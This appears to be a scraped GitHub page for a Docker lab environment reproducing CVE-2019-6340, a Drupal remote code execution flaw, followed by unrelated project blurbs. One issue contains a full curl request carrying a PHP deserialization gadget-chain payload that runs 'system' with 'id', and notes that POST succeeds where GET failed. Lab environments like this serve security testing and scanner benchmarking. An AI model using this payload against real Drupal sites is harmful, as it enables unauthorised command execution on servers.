knqyf263 / cve-2019-6340 Goto Github PK
View Code? Open in Web Editor NEWEnvironment for CVE-2019-6340 (Drupal)
License: Apache License 2.0
Environment for CVE-2019-6340 (Drupal)
License: Apache License 2.0
I use the command that u mentioned in the README, but can not exploit successfully.
here is what i input in shell:
curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?_format=hal_json" -d '
{
"link": [
{
"value": "link",
"options": "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:2:"id";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
}
],
"_links": {
"type": {
"href": "http://localhost:8080/rest/type/shortcut/default"
}
}
}'
here is the feedback in shell:
{"_links":{"self":{"href":"http://localhost:8080/node/1?_format=hal_json"},"type":{"href":"http://localhost:8080/rest/type/node/article"},"http://localhost:8080/rest/relation/node/article/revision_uid":[{"href":"http://localhost:8080/user/1?_format=hal_json"}],"http://localhost:8080/rest/relation/node/article/uid":[{"href":"http://localhost:8080/user/1?_format=hal_json","lang":"en"}]},"nid":[{"value":1}],"uuid":[{"value":"174a2365-2f93-4226-a02d-7239137fc852"}],"vid":[{"value":1}],"langcode":[{"value":"en","lang":"en"}],"type":[{"target_id":"article"}],"revision_timestamp":[{"value":"2019-02-23T17:28:26+00:00","format":"Y-m-d\TH:i:sP"}],"_embedded":{"http://localhost:8080/rest/relation/node/article/revision_uid":[{"_links":{"self":{"href":"http://localhost:8080/user/1?_format=hal_json"},"type":{"href":"http://localhost:8080/rest/type/user/user"}},"uuid":[{"value":"404082c7-13b7-43d3-a84b-25c753be3c98"}]}],"http://localhost:8080/rest/relation/node/article/uid":[{"_links":{"self":{"href":"http://localhost:8080/user/1?_format=hal_json"},"type":{"href":"http://localhost:8080/rest/type/user/user"}},"uuid":[{"value":"404082c7-13b7-43d3-a84b-25c753be3c98"}],"lang":"en"}]},"status":[{"value":true,"lang":"en"}],"title":[{"value":"Vulnerability","lang":"en"}],"created":[{"value":"2019-02-23T17:28:26+00:00","lang":"en","format":"Y-m-d\TH:i:sP"}],"changed":[{"value":"2019-02-23T17:28:26+00:00","lang":"en","format":"Y-m-d\TH:i:sP"}],"promote":[{"value":true,"lang":"en"}],"sticky":[{"value":false,"lang":"en"}],"default_langcode":[{"value":true,"lang":"en"}],"revision_translation_affected":[{"value":true,"lang":"en"}],"path":[{"alias":null,"pid":null,"langcode":"en","lang":"en"}],"body":[{"value":"CVE-2019-6340","format":null,"processed":"\u003Cp\u003ECVE-2019-6340\u003C/p\u003E\n","summary":null,"lang":"en"}],"comment":[{"status":2,"cid":0,"last_comment_timestamp":1550942906,"last_comment_name":null,"last_comment_uid":1,"comment_count":0,"lang":"en"}]}
BUT Using the "POST" Method can exploit successfully.
Hi @knqyf263,
I would like to add a modified version of your docker config to https://github.com/google/security-testbeds, which is intended to keep track of different types of testbeds for benchmarking different security scanners. Could you add a MIT or Apache-2.0 license to your repo, so that I could credit and reference to your original docker config?
Thank you!
i would like to create other nodes, which are the default credentials?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.